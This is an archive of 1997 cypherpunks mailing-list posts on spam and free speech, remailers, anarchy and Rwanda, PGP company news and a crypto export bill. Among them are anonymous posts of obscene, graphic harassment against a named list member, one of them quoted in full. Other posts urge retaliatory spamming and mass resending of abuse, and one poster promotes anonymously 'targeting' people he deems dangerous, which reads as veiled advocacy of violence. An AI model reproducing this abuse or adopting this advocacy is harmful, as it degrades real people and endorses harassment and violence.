> >Free Speech : Good      Mail Bombs : Bad
> 
> Spam = Mail Bomb = Arp attack.  No essential difference.  Why isn't
> a mail bomb or arp attack proctected by your idealized free speech?

Spam is not equal to an arp attack or a mail bomb.  One letter to one 
address is quite different than 10,000 letters to one address.

> >Are you a self centred ass, who's personal feelings are more
> >important that the Constitution?
> 
> Yes, I am a self-centered ass. 

Me too, by the way.  An opinionated one, as well.

> No, my feelings are not more
> important than the Constitution, my feelings help *make* the
> Constitution, remember?  It's moot, anyway, as I'm not advocating
> removing free speech.

No you are advocating harming others who are speeking freely.

> >You could be doing so much more with your time.
> 
> True.  And I could be doing *more* with my time if I didn't have to
> spend it setting up spam filters!
> 
> >No war, no battles, no skirmishes, no need for "Anti-Spam Laws".
> 
> I agree.  I'm not asking for any laws, just the right to annoy
> spammers just as much as they annoy me.  Why can't I do that?  If I
> decide to spam them, not our of retribution, but as an exercise of
> my right to free speech, then how is it any different?

Again, I say:  One Meg Per One Meg.  Equal and fair.
 
> >Just be nice, and everything will work out for the best.
> 
> You're more optimistic than I. 

Well, I just hope that this dosen't get carried away, that's all.  
Match them meg for meg that you personally receive, and everything 
really will be OK.  And if we keep the government out of it.

> It must be nice to not be cynical.

It's just an act.  I am pretty jaded.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 15 May 1997 08:25:47 +0800
To: cypherpunks@cyberpass.net
Subject: microstock market
Message-ID: <199705150015.RAA27036@netcom22.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



ultimately what cyberspace does in many ways is decrease
the "granularity" of economic transactions.

you can imagine that an economic transaction has an overhead
cost associatd with it needed to manage the bureacracy of
the cash transfer. the army of people that have to support
check passing, such as the mailman, bankers, etc., the people
in the company that have to open envelopes and punch
keys, etc. ad infinitum.

these vast teams/roles of people are going to vaporize to move
into other aspects of the economy. increasingly, the overhead
of an economic transaction will move toward the infinitesmal.
this radically changes many business models.

consider the stock market for example. you have a situation
where it doesn' t make sense for a company to be traded on
the stock market except after some threshhold has been reached.
I suspect this threshhold is due directly to economics that
could radically change in the near future (say a decade).

what I suspect this might mean is not merely new kinds of
stock markets, but a massive plethora of new forums in which
business can be transacted in cyberspace. I think we are
going to see many new stock exchanges as the capital moves
towards the ones that most efficiently handle it. and 

increasingly, I think you will see very small companies have
stocks. you will also see a much better means by which an
investor can judge the value of a company. the assets will
be more open and thoroughly revealed on public web sites
of the company. increasingly the outsider will be able
to "peer into" a company for investment or business 
purposes. the companies with the most open policies are 
going to be those most favored by their customers.

what would be neat is if one could invest in very small
companies or ideas. I suspect our economy is moving
in exactly this direction.

also in addition to this, I suspect that regulations 
governing stock transactions are going to be challenged
and increasingly melt away in the long run. the open market
will find its own ways of guaranteeing the safety of its
transactions that will make government interference
only draining or damaging.

so you can imagine that our economy of today is like moving
around big boulders-- you need a lot of people and organization
to create economic transactions. in the future, transactions
are going to decrease in granularity and you will have
a system more like the flow of electricity throughout an
entire system.

the revolutionary implications of cyberspace have barely
begun to be uncovered. ultimately it will radically change
the nature of our economics and government systems just
as the introduction of the printing press did in its
time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 15 May 1997 05:26:01 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007803af9eb56df0ae@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970514171510.17042C@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Tim May wrote:

> (If "false advertising" were a true crime, most of the world's religions
> would surely be shut down.)

That would be a dream come true. <Evil grin>

> Look to contract law for your answer.

I'd rather spam them back... Gee, where's Vulis's bots when you need them 
:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 08:33:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rwanda and "anarchy"
In-Reply-To: <337A3314.1B990EE4@disposable.com>
Message-ID: <19970514172033.01446@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 02:48:04PM -0700, Rich Graves wrote:
> Kent Crispin wrote:
> > On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> > > Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> > > not any kind of anarchy such as any of us have ever advocated. Rather,
> > > Rwanda was a near-textbook example of one tribal faction (Hutus or
> > > Tutsis) coming to power and inititiating a pogrom against the rival
> > > faction (Tutsis or Hutus).
> > > 
> > > Calling this an "anarchy" is comparable to calling the pogrom by the
> > > Third Reich against Jews, gypsies, cripples, and others an example of
> > > anarchy.
> > 
> > Nonsense.
> > 
> > "anarchy n. the absence of government or control, resulting in 
> > lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> > 
> > Which part of that would you say didn't apply to Rwanda? 
> 
> I would say "none." Tim is essentially correct. Ironically, we know he's
> correct thanks to the United Nations and Judge Goldstein's International
> Criminal Tribunal, which Tim would oppose. (The answer to bad government
> is more government?)
> 
> Jean-Marie Higiro was Rwanda's Minister of Telecommunications. He saw
> the radio turn into a tool of totalitarian propaganda. The killings were
> encouraged and organized by the government. He was there.
> 
> Lindsey Hilsum was the only English-speaking reporter in Rwanda when the
> killings started. She described the situation as "anarchy" because she
> did not understand the language or the political situation. She later
> retracted that story, and spent several more months in Rwanda and
> Burundi documenting what really happened. She eventually testified 
> before the ICT on what she saw. I think she's a really cool person.
> 
> Raymond Bonner joined Lindsey in Rwanda later. You might recognize his
> name -- he's the guy who was fired by the New York Times because the
> Reagan Administration didn't like his reporting on human rights
> violations in El Salvador.
> 
> Gilles Peress is a French photojournalist who documented the genocide in
> Rwanda both for himself and for the ICT.
> 
> I met these folks and browsed the relevant documentation, recordings,
> and photos on April 11th. I believe them when they say it was planned.

It appears you have better data than I.  Still, even if it was
planned, there appeared to be a widespread breakdown of civil
authority.  I remember reading an interview with a woman who killed
her neighbors children -- that interview could have been faked, of
course, but I find it hard to categorize her behavior as part of a
government plan.

> Blaming it on "evil government," though, is ludicrous. There was quite a
> lot more going on.
> 
> If you want to look at anarchic chaos, try, maybe, Albania, or Los
> Angeles
> after the Rodney King verdict. But even in those cases, the violence had
> specific targets for specific reasons. It wasn't unstructured anarchy,
> and it didn't last long. For all the press, there were few deaths in
> either case.
> 
> > In fact, the correlation between anarchy and war is very strong, for
> > obvious reasons. Perhaps that is why most intelligent people don't
> > consider anarchy a desirable state of affairs.
> 
> There is no such thing as anarchy, and there never will be.

I actually view this statement is strong support for my point of view,
so I hate to argue against it.  And certainly anarchy in the sense of 
"crypto-anarchy" is just an oxymoron.

But I could raise a semantic quibble or two...I think that anarchy (in
the sense of a breakdown of civil authority) is actually relatively
common in wartime.  The fact that there may be higher level plans or
strategy by governments does not mean those governments are in
control. 

Human beings are fundamentally social/political creatures, and their
behavior is always conditioned by their social/political environment. 
It is my impression that when the "anarchists" on the list refer to
"government" they mean something more than the general
social/political environment every human lives within.  I personally
cannot discern a clear dividing line between "government" and
"society". 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 15 May 1997 05:56:19 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: The War is Underway
Message-ID: <3.0.1.32.19970514172138.00698a58@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

\At 10:44 AM 5/10/97 -0800, Tim May wrote:

>This is the "race to the fork in the road" I have long talked about. The
>future will be pulled between two attractors, with essentially no middle
>ground 

>At one side lies a surveillance state

>At the other side lies crypto anarchy

Except that their branch of the "fork" is illusory.  It depends on public
support and physical powers they lack.  

The reason that I'm a technoptimist is *not* because I think that modern
technology is an all-powerful mechanism which has shattered the control
capabilities of the coercive state apparatus.  The really beautiful thing is
that today's technology is merely piling onto a pre-existing trend which
favored individual choice.

Things were already trending towards markets and self government long before
crypto and the Internet hit the front pages.  Even mainframe computers
helped.  If you look at the graphs, you'll see that computers started forcing
institutional downsizing as early as the late '60s in the U.S. and Britain.  

Mechanical technology and the wealth it produced was sufficient to get things
going.  Since the Second World War, people have been getting wealthier and
hence more powerful.  First here in America and later spreading throughout
the worlds like a health-giving virus.

Remember, it's not just technology.  If I can move and trade in a very
efficient market, I have a lot more power than someone with my same level of
wealth in a primitive society with limited capabilities.

Cheap radios (the first micro technology product) and jet engines helped push
things along as much as anything.  The slow development of market
institutions which, today, give individuals the power to buy, sell, and lease
almost any good or service eventually reached a critical point as well.

Rich people are *much* harder to push around than poor people.  (If you push
them too much, they just leave.)  So factories produced wealth which produced
power which automatically increased individual choice.  You will note that
the 60's happened, for example.  As time went on, markets spread, tyranny
contracted and people became harder and harder to control (for good or ill). 


Pile crypto and the Net onto this trend, and you get an accelerated
beneficial movement towards enhanced personal choice.  Obviously, "the
generation that was born into bondage in Egypt cannot enter the Promised
Land."  They have to die off before the changes can become obvious to all. 
The Net can help in this by changing our cultural and social environment so
much that it allows us to, in the words of yet another Timothy, "Metaprogram
the human biocomputer."

I must say, however, that I find it hard to believe that other people can't
see the amazing progress that we've made in the last decade.  The utter
destruction of totalitarian communism, the transformation of Latin America
from 26 dictatorships and 1 democracy a few years ago to 26 (more or less)
democracies and 1 dictatorship today, the liberation of the Forex markets,
the ideological dominance of market liberalism, the Death of the PTT
communications monopolies, the deregulation of transportation, the lowering
of trade barriers, etc.

Note that last month, Mongolia became the first country since the dawn of the
nation state to abolish all tarrifs and quotas.  Now if you can just get to
it, you can trade freely.

The control capabilities of the government depend on the attitude of the
people.  If they support the government or are intimidated by it, they will
obey.  Today, support for most OECD governments is at historic lows. 
Cynicism about government policies is widespread.  And the simple ignoring of
rules and regs is "out of control."

DCF

"You don't have to be nice to nation states you meet on the way up if you're
not coming back down."








-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM3os3YVO4r4sgSPhAQHTRgQAvXFT8D+v2rpRe1d6bev87ODWCm4Pr1HS
0akwfOIBdGcCIWzRVRywTe1uBkMlnP2rXg819q+LLMkLK2J0Oma0zCPbCOqG8OSd
aChGNuLq1106YjRPGXsbpKOBugbpW5AgLXUlUXtwjMBJzoZ9GNRCQDJlGCHuO0Q3
gDVw2CRSW6A=
=33tc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 06:13:38 +0800
To: cypherpunks@toad.com
Subject: RSA v. PGP Complaint Correction
Message-ID: <1.5.4.32.19970514215503.00927358@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Due to a transmittal error the latter half of the RSA v. PGP
complaint was omitted from our offering this morning. 
The full complaint is now available at:

     http://jya.com/rsavpgp.txt  (21K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 15 May 1997 06:04:04 +0800
To: cypherpunks@toad.com>
Subject: Problems at PGP?
Message-ID: <337A3548.2496@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hot Off The Press
http://www.news.com/News/Item/0,4,10660,00.html

Pretty Good Privacy CEO
                quits 
                By Dawn Yoshitake
                May 14, 1997, 11:30 a.m. PT 

                Security software firm Pretty Good Privacy
                announced today that its chief executive and
                president has resigned as the company mature from
                its start-up status.

                Thomas Steding, CEO, president, and a PGP
                founder, will now become a company adviser. The
                CEO position will be phased out, the company
                said.

                "This was a decision by the board and the executive
                staff. It seemed the right time," spokesman Mike
                Nelson said. "We're moving out of a start-up mode
                and into pursuit of the corporate marketplace. This
                was a minor adjustment to the staff."

                Nelson added that Steding will continue to advise
                the company on team-building and moving its
                operations quickly.

                Phillip Dunkelberger, former vice president of sales,
                will now become president and be responsible for
                the company's daily operations. Dunkelberger will
                also become a board member.

                Jonathan Seybold, a PGP founder, has been named
                chairman of the company.

                Nelson said the company is on target with its
                product development and sales and profitability
                targets, and will review where it stands financially
                and with its product lineup before setting a future
                course for an initial public offering.

                PGP, which has been in operation for a year, is
                scheduled to begin open beta testing for its Personal
                Privacy version 5.0 tomorrow. The commercial
                version is slated to be released later this month.

                Meanwhile, the crypto company has initiated a few
                acquisitions. One of its most recent was the March
                buyout of Zoomit, a directory technology that
                combines private intranets, pubic extranets, and the
                Internet.
-- 
A picture tells a thousand words.
		Stego


     -----BEGIN GEEK CODE BLOCK-----
     Version: 3.1
     GCS/IT/S d--() s+: a-- C++++(++)$ ULS+++@ P++@ L+(++)$ E- W+(+++)$
     N++$ !o K-? w++(+++)$ !O+>++ !M !V PS+(+++)@ PE(++)@ Y++$ PGP@ t+@
     5++@ X++>$ R+++>$ tv+@ b+@ DI+++>$ D+++@>$ G@ e++@>++++ h r* y+ 
     ------END GEEK CODE BLOCK------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 15 May 1997 09:21:55 +0800
To: "Roger J. Jones" <cyber@ibpinc.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <Pine.3.89.9705141750.A2785-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?

Net.myths
 
> Do they really trust the owner of the remailer? (Unless of course, it is
their remailer?) I seem to be missing something. 

You are missing the fact that you can chain remailers. Therefore it is 
pretty much irrelevant if some remailers are compromised.


Then again, I know several remailer operators personally. Which makes me 
less worried about the them being foreign intelligence agents.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 06:46:25 +0800
To: cypherpunks@toad.com
Subject: DoJ on Bombmaking Info
Message-ID: <1.5.4.32.19970514221851.008f9594@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer:

   "Report on the Availability of Bombmaking Information,
   the Extent to Which Its Dissemination Is Controlled
   by Federal Law, and the Extent to Which Such
   Dissemination May Be Subject to Regulation Consistent
   with the First Amendment to the United States
   Constitution

   Prepared by the United States Department of Justice As
   Required by Section 709(a) of the Antiterrorism and 
   Effective Death Penalty Act of 1996.

   Submitted to the United States House of Representatives 
   and the United States Senate

   April 1997"

-----

     http://jya.com/abi.htm  (193K) 

This relates to the proposed "Feinstein Amendment" of the 
AEPDA. It covers in detail what kind of speech is permissable 
now and what language for the amendment should be to 
close gaps. A fine distinction is traced between "teaching"
the use of terrorist and mass destruction weapons and 
"advocating" them. Or something like that -- I am a jailhouse
laugher.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 15 May 1997 07:19:49 +0800
To: DataET Research <staff@dataet.com>
Subject: Re: Information request
In-Reply-To: <337A39D9.303F@dataet.com>
Message-ID: <Pine.SUN.3.91.970514190138.17042D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


Wheee! so we stopped creating crappy cyphers and moved on to web page 
creation? Bwahahahahhahahahahahahhahaha!  Getting out of the crypto 
business was a good move.  Good luck to you in your trying to learn HTML.


On Wed, 14 May 1997, DataET Research wrote:

> Hi,
> 
> If you are interested in having a high-quality, but extensively
> inexpensive, Web site designed for you, your résumé, or your company,
> visit http://www.dataet.com or contact info@dataet.com immediately, and
> request for additional information and/or a free cost and time
> estimation.
> 
> Thanks for your time. We hope to hear from you soon.
> 
> Regards,
> 
> DataET Research
> Data Engineering Technologies
> 
> info@dataet.com
> http://www.dataet.com
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 15 May 1997 08:32:18 +0800
To: staff@dataet.com
Subject: Re: Information request
In-Reply-To: <337A39D9.303F@dataet.com>
Message-ID: <199705150003.TAA00901@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dear Mr. Ramos,

Have you lied about your intention to release the source code
for your encryption program?

I still hope that you are a decent person and will release the
algorithm that DataET Research used in it encryption program.

	- Igor.

DataET Research wrote:
> 
> Hi,
> 
> If you are interested in having a high-quality, but extensively
> inexpensive, Web site designed for you, your résumé, or your company,
> visit http://www.dataet.com or contact info@dataet.com immediately, and
> request for additional information and/or a free cost and time
> estimation.
> 
> Thanks for your time. We hope to hear from you soon.
> 
> Regards,
> 
> DataET Research
> Data Engineering Technologies
> 
> info@dataet.com
> http://www.dataet.com
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 15 May 1997 10:09:39 +0800
To: cypherpunks@toad.com
Subject: Re: Enough of this shit already!
In-Reply-To: <v03007811af9f9c6474b1@[207.94.249.70]>
Message-ID: <XkVP7D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz <frantz@netcom.com> writes:

> At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:
>
> >Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> >doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> >ones that IMHO come from Vulis, the ones to which Graham replies, the
> >anonymous ones that reply to Graham, the permutations of them that
> >spam Toto, and these.  :(
>
> IMHO these spams are the reason people have been leaving the list, not the
> political discussions (Perry excepted).

Good. People who can't set up a mail filter don't belong on a technical list.

> >Hell, the nice bomb making spam too is also a bitch being posted here.
> >One could give the poster the benefit of the doubt, but it smells quite
> >of the tactics used by the Postal fiends that mail child porno to an
> >unsuspecting citizen unit, then arrest that citizen unit upon receipt.
>
> Note that the bomb making information has revealed nothing more than what a
> good encyclopedia should have.  To go from explosives information to bomb
> making recipes requires a good deal more information, e.g. about safety.

It should be posted, but perhaps not on this list. bombpunks?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 15 May 1997 11:47:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rwanda and "anarchy"
Message-ID: <199705150242.TAA02162@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 14:48 5/14/97 -0700, Rich Graves wrote:
>Kent Crispin wrote:
>> In fact, the correlation between anarchy and war is very strong, for
>> obvious reasons. Perhaps that is why most intelligent people don't
>> consider anarchy a desirable state of affairs.
>
>There is no such thing as anarchy, and there never will be.

I think it's at least a little tacky for you to ignore recent work which may
have already shown your claim to be false.  

For the rest of you out there, I suggest that you check out AP part 9.

There are excellent reasons that people considered true anarchy to be
unattainable, because it was considered fundamentally unstable.  Even I
believed that, before 1995.  Now, I've changed my opinion, and for good
reason.    Anarchy becomes stable if the population can anonymously target
those who threaten danger to the rest.  AP will do exactly this, so anarchy
will become stable.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 15 May 1997 12:08:22 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
Message-ID: <199705150242.TAA02169@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 14:27 5/14/97 -0700, Kent Crispin wrote:
>On Wed, May 14, 1997 at 03:07:43PM -0400, Tom Allard wrote:

>> How pedantic.  Webster's New World Dictionary (also reputable, I might add),
>> has THIS to say about "Anarchy":
>> 
>>   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>>   2. political disorder and violence 3. disorder; confusion
>> 
>> Note the etymology.  Taken to its roots, the word simply means "no leader".
>
>Note the second definition.

A definition which it included because of years of misuse.  It is said that
language is a living thing, which it is, which means that if an error is
made frequently enough it becomes the truth.  

Most of us understand this concept.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 15 May 1997 09:25:57 +0800
To: "Roger J. Jones" <cyber@ibpinc.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <Pine.BSF.3.91.970514195332.11250H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?

Chain enough emailers run by rival foreign intelligence servers together, 
and you've got fairly good privacy(tm).  ;)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 15 May 1997 10:45:41 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Quadratic residues
In-Reply-To: <199705141118.EAA21038@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970514202702.66302C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim May's mother attempted to pro-choice the unwanted 
> little bastard by fishing with a coat hanger in her giant 
> cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little 
> Timmy's fetal cranium (not much to begin with).
> 
>        (_) _____ (_)
>           /O   O\   Tim May
>          !   I   !
>          ! \___/ !
>           \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 21 May 1997 19:04:33 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705210959.CAA20206@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim May's mother attempted to pro-choice the unwanted 
> Graham-John Bullers by fishing with a coat hanger in her giant 
> cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little 
> Timmy's fetal cranium (not much to begin with).
> 
>        (_) _____ (_)
>           /O   O\   Graham-John Bullers
>          !   I   !
>          ! \___/ !
>           \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 08:45:02 +0800
To: cypherpunks@toad.com
Subject: OTP
Message-ID: <199705150028.UAA32507@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's reheated, refurbished, and regurgitated cud is completely 
inappropriate for the mailing lists into which it is cross-ruminated.

           \|/
        /~~~~~~~\
       |  O   O  |
   -ooo-----U-----ooo- Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 12:45:43 +0800
To: cypherpunks@toad.com
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970514211520.28811E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 14 May 1997 21:11:35 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary

You get a sense of the inevitable when you're handed a
stack of press releases congratulating a committee for
passing a bill -- an hour before the vote happens.

That's what happened this afternoon when the House
Judiciary committee unanimously approved SAFE, a bill
that generally loosens export controls on crypto.

Now, today's vote doesn't mean that the bill will move
to the floor unmolested, and it doesn't mean that all
its problems have been fixed. The Judiciary Committee
doesn't have jurisdiction over export relaxations, and
the bill's opponents pledged to fight when the measure
moves to the International Relations committee. Then
there's that portion about using crypto in a crime:
it's been modified, cleaned up, but not removed.

High and low points of today's hearing. I'll keep these
short since I've got to get to sleep:

* In another blow to the White House, the New Democrat
  Coalition is demanding that the White House change its
  crypto-policy. A letter the group of centrist Dems
  sent to Clinton today said: "We are deeply concerned
  that current policy restricting exports of
  cryptography technology poses a real threat to U.S.
  dominance..."

* The heinous section of the law that would create
  broad new Federal felonies for some uses of crypto was
  replaced. The amendment, offered by Rep. Delahunt
  and adopted unanimously includes eight hurdles:

	"Any person who, in the commission of a felony under
	a criminal statute of the United States, knowingly
	and willfully encrypts incriminating information
	relating to that felony with the intent to conceal
	such information for the purposes of avoiding
	detection by law enforcement agencies or
	prosecution..."

  It's a solid improvement, but this language still has
  no business becoming law. Problem is, nobody seems to
  have the balls to stand up and yank it. Delahunt,
  the amendment's sponsor, said the bill without the
  amendment "could have a chilling effect on the
  development and use of encryption." He added: "I
  recognize that some supporters of this amendment would
  like that this section be removed altogether." But it
  doesn't seem likely.

* The word on the streets is compromise. Hyde, chair
  of House Judiciary, brokered a meeting in his offices
  yesterday bringing together spooks, law enforcement,
  Goodlatte, and staffers. He says they're "very close
  to resolving any difficulties."

  Rep. McCollum chimed in: "It's just a matter of time
  before we work something out." Rep. Buyer said, and I
  am not making this up: "We should be good listeners to
  the NSA." Rep. Berman: "I hope there would be some way
  to bridge the differences between the administration
  and Goodlatte."

  More on this later...

* Rep. Hutchinson introduced an amendment that passed
  unanimously:
	
    (a) The Attorney General shall compile, and maintain
	in classified form, data on the instances in which
	encryption (as defined in section 2801 of title 18
	USC) has interfered with, impeded, or obstructed the
	ability of the Department of Justice to enforce the
	criminal laws of the United States. (b) The
	information compiled under subsection (a), including
	an unclassified summary thereof, shall be made
	available, upon request, to any Member of
	Congress.

  Problem is, a similar provision is *ALREADY LAW*. (It
  passed last year as part of an omnibus spending bill.)
  Brock Meeks wrote about it in his last Muckraker
  column: http://www.muckraker.com/

  And this is bad news: we already know that piss-poor
  crypto -- we're talking Brian Milburn-style, or
  WordPerfect strength -- has interfered with
  investigations. But with the NSA's help, cops were
  able to tunnel through it.

  That's why the Feds should be looking not at whether
  it *interferes* with an investigation, but whether it
  has *derailed* one. At least when the NRC report came
  out last year, not one investigation was derailed
  through the use of crypto. But even if it has derailed
  an investigation -- well, that may be the price of
  freedom...

* Rep. McCollum (R-Fl), a real Big Brother type of guy,
  added  an amendment to page 4, line 14 that passed
  unanimously. Addition is in caps:

     Subsection (a) shall not afect the authority of any
     investigative or law enforcement officer OR ANY MEMBER
     OF THE INTELLIGENCE COMMUNITY acting under any law in
     effect on the effective date of this chapter, to gain
     access to encrypted information.

